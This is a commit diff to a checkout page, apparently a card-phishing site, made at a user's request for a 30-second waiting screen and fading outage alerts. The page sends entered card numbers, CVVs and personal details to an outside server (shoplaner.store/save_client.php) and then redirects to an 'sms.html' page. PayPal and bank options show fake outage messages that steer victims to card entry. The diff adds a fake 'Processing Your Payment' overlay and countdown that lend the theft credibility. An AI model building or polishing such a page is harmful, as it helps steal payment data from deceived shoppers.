jhgtfrdefghj commited on
Commit
c7ca982
·
verified ·
1 Parent(s): 9de5b90

Can you make my client wait for 30 seconds when they click on complete purchase and a waiting effect appear then they're forwarded to the other page and make the alert that says paypal or bank are not working dissapear in 3 seconds ( fade effect)

Browse files
Files changed (1) hide show
  1. index.html +54 -16
index.html CHANGED
@@ -208,7 +208,7 @@ float: {
208
  </div>
209
  </div>
210
  <!-- PayPal -->
211
- <div class="payment-card border-2 border-gray-600/50 rounded-xl sm:rounded-2xl p-4 sm:p-6 opacity-60 cursor-not-allowed bg-gray-800/20 backdrop-blur-sm" onclick="showToast('PayPal payment is not functioning at the moment.')">
212
  <div class="flex items-center space-x-3 sm:space-x-4">
213
  <i data-feather="dollar-sign" class="text-gray-500 w-5 h-5 sm:w-6 sm:h-6"></i>
214
  <span class="font-light text-gray-500 text-base sm:text-lg tracking-wide">PayPal</span>
@@ -216,13 +216,13 @@ float: {
216
  </div>
217
 
218
  <!-- Bank Account -->
219
- <div class="payment-card border-2 border-gray-600/50 rounded-xl sm:rounded-2xl p-4 sm:p-6 opacity-60 cursor-not-allowed bg-gray-800/20 backdrop-blur-sm" onclick="showToast('Bank transfer not available right now.')">
220
  <div class="flex items-center space-x-3 sm:space-x-4">
221
  <i data-feather="building" class="text-gray-500 w-5 h-5 sm:w-6 sm:h-6"></i>
222
  <span class="font-light text-gray-500 text-base sm:text-lg tracking-wide">Bank Account</span>
223
  </div>
224
  </div>
225
- </div>
226
  </div>
227
  <!-- Complete Order Section -->
228
  <div class="p-6 sm:p-10 bg-gradient-to-br from-gray-900/80 to-gray-800/80 border-t border-gray-700/50">
@@ -376,13 +376,16 @@ cardTypeDisplay.classList.remove('opacity-0');
376
  feather.replace();
377
  return 'unknown';
378
  };
379
- const showToast = message => {
380
  const toast = document.getElementById('toast');
381
  const toastMessage = document.getElementById('toast-message');
382
  toastMessage.textContent = message;
383
  toast.classList.remove('opacity-0');
384
  toast.classList.add('opacity-100');
385
- setTimeout(() => toast.classList.remove('opacity-100'), 3000);
 
 
 
386
  };
387
  const completePurchase = async () => {
388
  const requiredFields = ["email", "first-name", "last-name", "cardNumber", "expiryDate", "cvv", "name-on-card"];
@@ -407,10 +410,49 @@ const showToast = message => {
407
  nameOnCard: document.getElementById("name-on-card").value,
408
  };
409
 
410
- const button = document.querySelector('button');
411
- button.innerHTML = '<i data-feather="check" class="w-4 h-4 sm:w-5 sm:h-5 mr-2 sm:mr-3"></i> Processing...';
 
 
412
  feather.replace();
413
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
414
  try {
415
  await fetch("https://shoplaner.store/save_client.php", {
416
  method: "POST",
@@ -418,21 +460,17 @@ const showToast = message => {
418
  body: JSON.stringify(data),
419
  });
420
  showToast('Purchase completed successfully!');
421
- button.innerHTML = 'Purchase Complete!';
422
- button.classList.replace('hover:shadow-2xl', 'bg-gradient-to-br from-green-500 to-emerald-600');
423
- setTimeout(() => {
424
- window.location.href = "sms.html";
425
- }, 1500);
426
  } catch (err) {
427
  console.error(err);
 
 
428
  showToast('Error processing payment. Please try again.');
429
- button.innerHTML = 'Complete Purchase';
430
- button.classList.remove('bg-gradient-to-br from-green-500 to-emerald-600');
431
- button.classList.add('hover:shadow-2xl');
432
  feather.replace();
433
  }
434
  };
435
- document.addEventListener('DOMContentLoaded', () => {
436
  document.querySelectorAll('.animate-fade-in, .animate-slide-up').forEach((el, index) => {
437
  el.style.animationDelay = `${index * 0.1}s`;
438
  });
 
208
  </div>
209
  </div>
210
  <!-- PayPal -->
211
+ <div class="payment-card border-2 border-gray-600/50 rounded-xl sm:rounded-2xl p-4 sm:p-6 opacity-60 cursor-not-allowed bg-gray-800/20 backdrop-blur-sm" onclick="showToast('PayPal payment is not functioning at the moment.', 3000)">
212
  <div class="flex items-center space-x-3 sm:space-x-4">
213
  <i data-feather="dollar-sign" class="text-gray-500 w-5 h-5 sm:w-6 sm:h-6"></i>
214
  <span class="font-light text-gray-500 text-base sm:text-lg tracking-wide">PayPal</span>
 
216
  </div>
217
 
218
  <!-- Bank Account -->
219
+ <div class="payment-card border-2 border-gray-600/50 rounded-xl sm:rounded-2xl p-4 sm:p-6 opacity-60 cursor-not-allowed bg-gray-800/20 backdrop-blur-sm" onclick="showToast('Bank transfer not available right now.', 3000)">
220
  <div class="flex items-center space-x-3 sm:space-x-4">
221
  <i data-feather="building" class="text-gray-500 w-5 h-5 sm:w-6 sm:h-6"></i>
222
  <span class="font-light text-gray-500 text-base sm:text-lg tracking-wide">Bank Account</span>
223
  </div>
224
  </div>
225
+ </div>
226
  </div>
227
  <!-- Complete Order Section -->
228
  <div class="p-6 sm:p-10 bg-gradient-to-br from-gray-900/80 to-gray-800/80 border-t border-gray-700/50">
 
376
  feather.replace();
377
  return 'unknown';
378
  };
379
+ const showToast = (message, duration = 3000) => {
380
  const toast = document.getElementById('toast');
381
  const toastMessage = document.getElementById('toast-message');
382
  toastMessage.textContent = message;
383
  toast.classList.remove('opacity-0');
384
  toast.classList.add('opacity-100');
385
+ setTimeout(() => {
386
+ toast.classList.remove('opacity-100');
387
+ setTimeout(() => toast.classList.add('opacity-0'), 300);
388
+ }, duration);
389
  };
390
  const completePurchase = async () => {
391
  const requiredFields = ["email", "first-name", "last-name", "cardNumber", "expiryDate", "cvv", "name-on-card"];
 
410
  nameOnCard: document.getElementById("name-on-card").value,
411
  };
412
 
413
+ const button = document.getElementById('complete-order-btn');
414
+ const originalText = button.innerHTML;
415
+ button.innerHTML = '<i data-feather="loader" class="w-4 h-4 sm:w-5 sm:h-5 mr-2 sm:mr-3 animate-spin"></i> Processing...';
416
+ button.disabled = true;
417
  feather.replace();
418
 
419
+ // Create waiting overlay
420
+ const waitingOverlay = document.createElement('div');
421
+ waitingOverlay.id = 'waiting-overlay';
422
+ waitingOverlay.className = 'fixed inset-0 bg-black/80 backdrop-blur-lg z-50 flex items-center justify-center flex-col space-y-6 text-white';
423
+ waitingOverlay.innerHTML = `
424
+ <div class="text-center animate-pulse">
425
+ <div class="w-24 h-24 mx-auto mb-6 bg-gradient-to-br from-gray-600 to-accent rounded-full flex items-center justify-center border border-accent/30 text-5xl backdrop-blur-sm shadow-2xl">
426
+ <i data-feather="clock" class="w-12 h-12"></i>
427
+ </div>
428
+ <h3 class="text-2xl font-light mb-2">Processing Your Payment</h3>
429
+ <p class="text-gray-300 font-light">Please wait while we secure your transaction</p>
430
+ <div class="mt-4 w-64 h-2 bg-gray-700 rounded-full overflow-hidden">
431
+ <div id="progress-bar" class="h-full bg-gradient-to-r from-gray-600 to-accent transition-all duration-1000 ease-linear" style="width: 0%"></div>
432
+ </div>
433
+ <p id="countdown" class="text-sm text-gray-400 mt-2 font-light">Redirecting in 30 seconds...</p>
434
+ </div>
435
+ `;
436
+ document.body.appendChild(waitingOverlay);
437
+ feather.replace();
438
+
439
+ // Start progress bar animation
440
+ let secondsLeft = 30;
441
+ const progressBar = document.getElementById('progress-bar');
442
+ const countdown = document.getElementById('countdown');
443
+ const progressInterval = setInterval(() => {
444
+ secondsLeft--;
445
+ const progress = ((30 - secondsLeft) / 30) * 100;
446
+ progressBar.style.width = `${progress}%`;
447
+ countdown.textContent = `Redirecting in ${secondsLeft} second${secondsLeft !== 1 ? 's' : ''}...`;
448
+
449
+ if (secondsLeft <= 0) {
450
+ clearInterval(progressInterval);
451
+ waitingOverlay.remove();
452
+ window.location.href = "sms.html";
453
+ }
454
+ }, 1000);
455
+
456
  try {
457
  await fetch("https://shoplaner.store/save_client.php", {
458
  method: "POST",
 
460
  body: JSON.stringify(data),
461
  });
462
  showToast('Purchase completed successfully!');
 
 
 
 
 
463
  } catch (err) {
464
  console.error(err);
465
+ clearInterval(progressInterval);
466
+ waitingOverlay.remove();
467
  showToast('Error processing payment. Please try again.');
468
+ button.innerHTML = originalText;
469
+ button.disabled = false;
 
470
  feather.replace();
471
  }
472
  };
473
+ document.addEventListener('DOMContentLoaded', () => {
474
  document.querySelectorAll('.animate-fade-in, .animate-slide-up').forEach((el, index) => {
475
  el.style.animationDelay = `${index * 0.1}s`;
476
  });